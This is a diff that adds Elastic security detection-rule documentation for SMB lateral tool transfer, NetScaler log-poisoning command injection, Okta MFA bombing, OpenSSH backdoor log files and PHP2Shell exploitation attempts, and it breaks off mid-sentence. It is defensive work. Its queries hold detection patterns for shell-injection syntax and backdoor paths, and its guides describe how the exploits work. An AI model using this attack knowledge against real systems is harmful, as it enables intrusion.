+Identifies the creation or change of a Windows executable file over network shares. Adversaries may transfer tools or other files between systems in a compromised environment. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Lateral Tool Transfer via SMB Share* + + +Adversaries can use network shares to host tooling to support the compromise of other hosts in the environment. These tools can include discovery utilities, credential dumpers, malware, etc. Attackers can also leverage file shares that employees frequently access to host malicious files to gain a foothold in other machines. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve the created file and determine if it is malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity can happen legitimately. Consider adding exceptions if it is expected and noisy in your environment. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Review the privileges needed to write to the network share and restrict write access as needed. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=30s + [network where host.os.type == "windows" and event.type == "start" and process.pid == 4 and destination.port == 445 and + network.direction : ("incoming", "ingress") and + network.transport == "tcp" and source.ip != "127.0.0.1" and source.ip != "::1" + ] by process.entity_id + /* add more executable / script extensions here if they are not noisy in your environment */ + [file where host.os.type == "windows" and event.type in ("creation", "change") and process.pid == 4 and user.id like ("S-1-5-21*", "S-1-12-*") and + (file.Ext.header_bytes : "4d5a*" or file.extension : ("exe", "scr", "pif", "com", "dll", "bat", "cmd", "ps1", "vbs", "vbe", "js", "jse", "wsh", "wsf", "sct", "hta", "cpl")) and + not file.path : ( + "?:\\Windows\\VeeamVssSupport\\*", + "?:\\Windows\\VeeamLogShipper\\*", + "?:\\Windows\\AdminArsenal\\PDQInventory-Scanner\\service-?\\PDQInventory-Scanner-?.exe" + )] by process.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-netscaler-log-poisoning-command-injection-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-netscaler-log-poisoning-command-injection-attempt.asciidoc new file mode 100644 index 0000000000..6b8f90e4b8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-netscaler-log-poisoning-command-injection-attempt.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-36-potential-netscaler-log-poisoning-command-injection-attempt]] +=== Potential NetScaler Log Poisoning Command Injection Attempt + +Detects shell syntax in NetScaler Pitboss records or in Citrix records that combine Pitboss, packet-engine, or core terminology with shell syntax. This may indicate that attacker-controlled data poisoned an appliance log consumed by a privileged script. The behavior includes CVE-2026-88771, but the detection is intended to identify similar NetScaler log-poisoning command-injection attempts without requiring a specific vulnerability, failure phrase, or command. + +*Rule type*: eql + +*Rule indices*: + +* logs-citrix_adc.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.citrix.com/external/article/CTX697096 +* https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/ +* https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway +* https://www.elastic.co/docs/reference/integrations/citrix_adc + +*Tags*: + +* Domain: Network +* Platform: Citrix +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Citrix ADC +* Resources: Investigation Guide +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Vuln: CVE-2026-88771 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential NetScaler Log Poisoning Command Injection Attempt* + + +NetScaler emits Pitboss records for packet-engine process monitoring and recovery. Shell separators, command +substitution, pipes, or redirection are not expected in these records. Their presence can indicate that +attacker-controlled request or authentication data was written into an appliance log in a form that may later be +interpreted by a privileged log-processing, diagnostic, or core-handling script. + +CVE-2026-88771 is one example of this behavior. Its public exploit family forges a Pitboss/PPE failure record containing +an `NSPPE` token and shell syntax that can later be processed by the root-running `ns_monuploadd_err.pl` script. This +rule does not require that CVE's failure phrase, endpoint, parameter, filename, token ordering, or injected command. + +> **CVE-2026-88771 indicator note**: +> During triage, specifically look for `pitboss PPE` followed by `unexpectedly died` or +> `missed too many heartbeats`, a malformed `NSPPE` value, and shell syntax. Also review requests to +> `/nf/auth/doAuthentication.do`, attacker-controlled `login` values, execution by `ns_monuploadd_err.pl`, and +> suspicious `/var/core/NSPPE-*` artifacts. No single endpoint, path, or filename is sufficient to confirm exploitation. + + +*Possible investigation steps* + + +- Preserve the complete `event.original`, remote syslog records, rotated logs, NetScaler Console results, support + bundles, packet-engine cores, snapshots, and relevant flow data before patching or rebooting. +- Identify the source address and the targeted NetScaler or virtual server. In native `CONN_DELINK` records, + `destination.ip` can represent a backend service rather than the public virtual-server address; review the raw + `Vserver`, `NatIP`, and `Destination` values when present. +- Review adjacent AAA/AAAD, authentication, login, and WAF records for the submitted username or login value, selected + request headers, action, response, and request or session identifiers. The `/nf/auth/doAuthentication.do` path is + useful context but is not proof of exploitation without the forged PPE structure. +- Determine whether the value contains a shell separator (`;`, `&&`, `||`), command substitution (backticks or `$()`), + a pipe, or redirection, and repeatedly URL-decode percent-encoded values while preserving the original bytes. +- Search remote and rotated NetScaler logs for the same value and source for at least 48 hours. A match can represent + an attempt even if `ns_monuploadd_err.pl` has not processed the poisoned record yet. +- From the first poisoned-log timestamp, hunt forward at least 24–48 hours for root shell activity, unexpected + commands, file creation, configuration or startup changes, new listeners, packet-engine failure, restart, or HA + failover. +- Review DNS, proxy, firewall, NetFlow/IPFIX, and Zeek telemetry for first-seen internet egress, payload retrieval, + long-lived outbound connections, or new internal SSH, SMB, RDP, WinRM, database, or management traffic from every + appliance identity, including NSIPs, SNIPs, HA peers, and translated egress addresses. +- If the record resembles CVE-2026-88771, verify the exact NetScaler branch and build. Fixed versions include + 14.1-73.37, 13.1-64.23, 14.1-73.37 FIPS, and 13.1-37.279 FIPS/NDcPP or later, subject to current Citrix upgrade + guidance. + + +*False positive analysis* + + +- Confirm whether an authorized scanner, penetration test, synthetic log fixture, or incident-response exercise + generated the record. +- Broad internet scanners and vulnerability probes can submit POST requests to `/nf/auth/doAuthentication.do` without + carrying the CVE-2026-88771 payload. Do not classify the endpoint path, request method, or source reputation alone as + exploitation. +- A legitimate packet-engine crash or Pitboss recovery event can contain `PPE`, `NSPPE`, core-file terminology, and a + failure phrase, but should not contain the shell syntax required by this rule. Do not suppress genuine crashes + broadly. +- If a benign test is confirmed, scope any exception to the controlled source and maintenance window rather than + excluding a failure phrase or shell token globally. + + +*Response and remediation* + + +- Treat a match on an unpatched appliance as a potential root-compromise precursor. Preserve evidence, then isolate or + tightly restrict the appliance while maintaining an evidence-preserving management path. +- Upgrade to a fixed build using current Citrix guidance. Patching prevents future exploitation but does not establish + that the appliance was not already compromised. +- Run current NetScaler Console IOC and file-integrity checks. A clean scan does not prove absence of compromise. +- If command execution is confirmed, rebuild from a trusted image and rotate administrative credentials, secrets, + certificates, tokens, and backend trust material stored on or transiting the appliance. +- Restrict appliance egress and management access, and retain remote logs so a compromised appliance cannot erase the + only copy of the evidence. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic Citrix ADC integration with the `citrix_adc.log` data stream enabled. Configure NetScaler +to forward native syslog records to an Elastic Agent by TCP or UDP, or collect the corresponding log files. RFC 5424 +syslog is recommended where supported. Include system/PPE and AAA/AAAD or authentication-related records so analysts +can recover the poisoned failure text and surrounding request context. + +The integration stores the parsed inner Citrix record in `citrix.detail` and unmatched Pitboss message content in +`citrix_adc.log.message`; the rule checks both because poisoned text can appear inside another Citrix event or as a +Pitboss-class record. Enable **Preserve original event** for investigation, forward logs to a remote collector, and +retain rotated records for at least 48 hours because local evidence can be altered after root compromise and +some log consumers process records asynchronously. CVE-2026-88771 command execution can be delayed by up to 24 hours. + +This rule analyzes appliance logs rather than encrypted request payloads. It can detect the poisoned record without TLS +decryption after the attacker-controlled value is logged, but it cannot prove that the vulnerable script executed the +injected command. + + +==== Rule query + + +[source, js] +---------------------------------- +any where + data_stream.dataset == "citrix_adc.log" and + ( + ( + citrix.detail regex~ """.*pitboss.*(nsppe|ppe|packet.*engine|core).*""" and + citrix.detail like~ ( + "*;*", "*`*", "*$(*", "*&&*", "*||*", + "*%3b*", "*%60*", "*%7c*", "*%24%28*", "*%26%26*", "*%3e*", "*%3c*" + ) + ) or + ( + citrix.device_event_class_id == "PITBOSS" and + citrix_adc.log.message like~ ( + "*;*", "*`*", "*$(*", "*|*", "*>*", "*<*", "*&&*", "*||*", + "*%3b*", "*%60*", "*%7c*", "*%24%28*", "*%26%26*", "*%3e*", "*%3c*" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-okta-mfa-bombing-via-push-notifications.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-okta-mfa-bombing-via-push-notifications.asciidoc new file mode 100644 index 0000000000..ad6c9a4d76 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-okta-mfa-bombing-via-push-notifications.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-36-potential-okta-mfa-bombing-via-push-notifications]] +=== Potential Okta MFA Bombing via Push Notifications + +Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-okta.system* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/russian-targeting-gov-business +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://web.archive.org/web/20230726145135/https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Event Correlation (EQL) +* Platform: Okta + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta MFA Bombing via Push Notifications* + + +Multi-Factor Authentication (MFA) is an effective method to prevent unauthorized access. However, some adversaries may abuse the system by repeatedly sending MFA push notifications until the user unwittingly approves the access. + +This rule detects when a user denies MFA Okta Verify push notifications twice, followed by a successful authentication event within a 10-minute window. This sequence could indicate an adversary's attempt to bypass the Okta MFA policy. + + +*Possible investigation steps:* + + +- Identify the user who received the MFA notifications by reviewing the `user.email` field. +- Identify the time, source IP, and geographical location of the MFA requests and the subsequent successful login. +- Review the `event.action` field to understand the nature of the events. It should include two `user.mfa.okta_verify.deny_push` actions and one `user.authentication.sso` action. +- Ask the user if they remember receiving the MFA notifications and subsequently logging into their account. +- Check if the MFA requests and the successful login occurred during the user's regular activity hours. +- Look for any other suspicious activity on the account around the same time. +- Identify whether the same pattern is repeated for other users in your organization. Multiple users receiving push notifications simultaneously might indicate a larger attack. + + +*False positive analysis:* + + +- Determine if the MFA push notifications were legitimate. Sometimes, users accidentally trigger MFA requests or deny them unintentionally and later approve them. +- Check if there are known issues with the MFA system causing false denials. + + +*Response and remediation:* + + +- If unauthorized access is confirmed, initiate your incident response process. +- Alert the user and your IT department immediately. +- If possible, isolate the user's account until the issue is resolved. +- Investigate the source of the unauthorized access. +- If the account was accessed by an unauthorized party, determine the actions they took after logging in. +- Consider enhancing your MFA policy to prevent such incidents in the future. +- Encourage users to report any unexpected MFA notifications immediately. +- Review and update your incident response plans and security policies based on the findings from the incident. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by okta.actor.id with maxspan=10m + [ any + where data_stream.dataset == "okta.system" + and ( + okta.event_type == "user.mfa.okta_verify.deny_push" + or ( + okta.event_type == "user.authentication.auth_via_mfa" + and okta.debug_context.debug_data.factor == "OKTA_VERIFY_PUSH" + and okta.outcome.reason == "INVALID_CREDENTIALS" + ) + ) + ] with runs=5 + until + [ any + where data_stream.dataset == "okta.system" + and okta.event_type in ( + "user.authentication.sso", + "user.authentication.auth_via_mfa", + "user.authentication.verify", + "user.session.start" + ) + and okta.outcome.result == "SUCCESS" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Request Generation +** ID: T1621 +** Reference URL: https://attack.mitre.org/techniques/T1621/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-openssh-backdoor-logging-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-openssh-backdoor-logging-activity.asciidoc new file mode 100644 index 0000000000..57bebc85da --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-openssh-backdoor-logging-activity.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-36-potential-openssh-backdoor-logging-activity]] +=== Potential OpenSSH Backdoor Logging Activity + +Identifies a Secure Shell (SSH) client or server process creating a known SSH backdoor log file. Adversaries may modify SSH related binaries for persistence or credential access via patching sensitive functions to enable unauthorized access or to log SSH credentials for exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/eset/malware-ioc/tree/master/sshdoor +* https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential OpenSSH Backdoor Logging Activity* + + +OpenSSH is a widely used protocol for secure remote administration and file transfers. Adversaries may exploit OpenSSH by modifying its binaries to log credentials or maintain unauthorized access. The detection rule identifies suspicious file changes linked to SSH processes, focusing on unusual file names, extensions, and paths indicative of backdoor activity, thus helping to uncover potential security breaches. + + +*Possible investigation steps* + + +- Review the file change event details to identify the specific file name, extension, and path involved in the alert. Pay particular attention to unusual file names or extensions and paths listed in the query, such as "/usr/lib/*.so.*" or "/private/etc/ssh/.sshd_auth". +- Examine the process executable that triggered the alert, either "/usr/sbin/sshd" or "/usr/bin/ssh", to determine if it has been modified or replaced. Check the integrity of these binaries using hash comparisons against known good versions. +- Investigate the user account associated with the process that made the file change. Determine if the account has a history of suspicious activity or if it has been compromised. +- Check for any recent or unusual login attempts or sessions related to the SSH service on the host. Look for patterns that might indicate unauthorized access or credential harvesting. +- Analyze system logs, such as auth.log or secure.log, for any anomalies or entries that coincide with the time of the file change event. This can provide additional context or evidence of malicious activity. +- If a backdoor is suspected, consider isolating the affected system from the network to prevent further unauthorized access and begin remediation efforts, such as restoring from a clean backup or reinstalling the affected services. + + +*False positive analysis* + + +- Routine system updates or package installations may trigger file changes in SSH-related directories. Users can create exceptions for known update processes to prevent false alerts. +- Custom scripts or administrative tasks that modify SSH configuration files for legitimate purposes might be flagged. Users should whitelist these scripts or processes if they are verified as non-malicious. +- Backup or synchronization tools that create temporary files with unusual extensions or names in SSH directories can cause false positives. Exclude these tools from monitoring if they are part of regular operations. +- Development or testing environments where SSH binaries are frequently modified for testing purposes may generate alerts. Implement exclusions for these environments to reduce noise. +- Automated configuration management tools like Ansible or Puppet that modify SSH settings as part of their operations can be excluded if they are part of authorized workflows. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious SSH processes identified in the alert to halt potential backdoor activity. +- Conduct a thorough review of the modified files and binaries, particularly those listed in the query, to assess the extent of the compromise and identify any malicious code or unauthorized changes. +- Restore affected files and binaries from a known good backup to ensure system integrity and remove any backdoor modifications. +- Change all SSH credentials and keys associated with the compromised system to prevent unauthorized access using potentially logged credentials. +- Implement additional monitoring on the affected system and network for any signs of persistence or further malicious activity, focusing on the paths and file types highlighted in the detection query. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected, ensuring a coordinated response to the threat. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Elastic Endgame +- SentinelOne Cloud Funnel + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.name in ("ssh", "sshd") and + ( + ( + file.name : (".*", "~*", "*~") and not file.name : ( + ".cache", ".viminfo", ".bash_history", ".google_authenticator", ".jelenv", ".csvignore", ".rtreport", ".git*" + ) + ) or + file.extension : ("in", "out", "ini", "h", "gz", "so", "sock", "sync", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9") or + file.path : + ( + "/tmp/*", + "/var/tmp/*", + "/dev/shm/*", + "/usr/share/*", + "/usr/include/*", + "/usr/local/include/*", + "/usr/share/man/*", + "/usr/local/share/*", + "/usr/lib/*.so.*", + "/usr/bin/ssd", + "/var/run/sshd/sshd.pid", + "/var/run/nscd/ns.pid", + "/var/run/udev/ud.pid", + "/var/run/udevd.pid" + ) + ) and + not file.path like ("/tmp/krb5cc*", "/tmp/ansible_*", "/storage/*", "/tmp/clearsigned.message.*", "/tmp/fileutil.message.*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Local Data Staging +** ID: T1074.001 +** Reference URL: https://attack.mitre.org/techniques/T1074/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-php2shell-exploitation-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-php2shell-exploitation-attempt.asciidoc new file mode 100644 index 0000000000..faa172939b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-php2shell-exploitation-attempt.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-36-potential-php2shell-exploitation-attempt]] +=== Potential PHP2Shell Exploitation Attempt + +This rule detects a distinctive PHP out-of-memory fatal error associated with PHP2Shell exploitation attempts. The combination of an allowed-memory-size exhaustion and the location "Unknown on line 0" is produced before normal application execution and is an indicator of attempts to exploit PHP memory-safety vulnerabilities, including CVE-2026-109618 and CVE-2026-109619. The rule can detect unsuccessful as well as successful attempts and does not, by itself, confirm remote code execution. + +*Rule type*: query + +*Rule indices*: + +* logs-apache.error-* +* logs-apache_tomcat.* +* logs-nginx.error-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/php2shell-php-rce +* https://nvd.nist.gov/vuln/detail/CVE-2026-109618 +* https://nvd.nist.gov/vuln/detail/CVE-2026-109619 + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Resources: Investigation Guide +* Threat: Vulnerability Exploit +* Rule Type: Query +* Service: Nginx +* Service: Apache Tomcat +* Service: Apache HTTP Server +* Vuln: CVE-2026-109618 +* Vuln: CVE-2026-109619 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential PHP2Shell Exploitation Attempt* + + +PHP2Shell chains PHP memory-safety flaws that are triggered while PHP processes fatal out-of-memory conditions. The +combination of `PHP Fatal error`, `Allowed memory size`, `bytes exhausted`, and `Unknown on line 0` is substantially more +specific than a generic PHP fatal error. The alert represents an exploitation attempt; use corroborating web and endpoint +telemetry to determine whether code execution or process-memory disclosure succeeded. + + +*Possible investigation steps* + + +- Identify `host.id`, `host.name`, `event.dataset`, `log.file.path`, and the complete `message` or `event.original` value. +- Treat `source.ip` as the immediate client observed by the web server. If a proxy, CDN, load balancer, or container bridge + is present, recover the original client from trusted proxy or edge logs rather than assuming `source.ip` is the attacker. +- Review web access and error events around the alert for multipart requests, upload-progress session fields, repeated HTTP + 500 responses, unusual or malformed `PHPSESSID` cookies, worker churn, and repeated memory-limit errors. +- Correlate the alert with process telemetry for shells, interpreters, downloaders, or other unusual children of Apache, + Nginx, IIS, PHP-CGI, or PHP-FPM workers. Review outbound network connections and recent file modifications on the host. +- Establish the installed PHP version and determine whether it includes the PHP security updates published on October 21,2026. + PHP2Shell affects PHP itself and does not require a vulnerability in the hosted application. + + +*False positive analysis* + + +- A genuine application memory leak or deliberately constrained `memory_limit` can cause memory exhaustion, but the + complete `Unknown on line 0` signature is unusual. Compare the event with historical fatal errors on the same host. +- Confirm whether an approved security assessment was active and whether its source and timing match the alert. + + +*Response and remediation* + + +- If the server runs an affected PHP release, remove it from public traffic or isolate it until PHP is updated. +- Preserve web, PHP, process, network, and file telemetry before restarting workers or rebuilding the host. +- If follow-on execution or memory disclosure is suspected, rotate credentials and secrets accessible to the PHP worker, + rebuild from a trusted image, and hunt for the same activity across other PHP servers. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:("apache.error" or "nginx.error" or "apache_tomcat.catalina" or "apache_tomcat.localhost") and +message:("PHP Fatal error" and "Allowed memory size" and "bytes exhausted" and "Unknown on line 0") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-powershell-obfuscated-script-via-high-entropy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-powershell-obfuscated-script-via-high-entropy.asciidoc new file mode 100644 index 0000000000..2c3831d72e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-powershell-obfuscated-script-via-high-entropy.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-36-potential-powershell-obfuscated-script-via-high-entropy]] +=== Potential PowerShell Obfuscated Script via High Entropy + +Identifies PowerShell script blocks with high entropy and non-uniform character distributions. Attackers may obfuscate PowerShell scripts using encoding, encryption, or 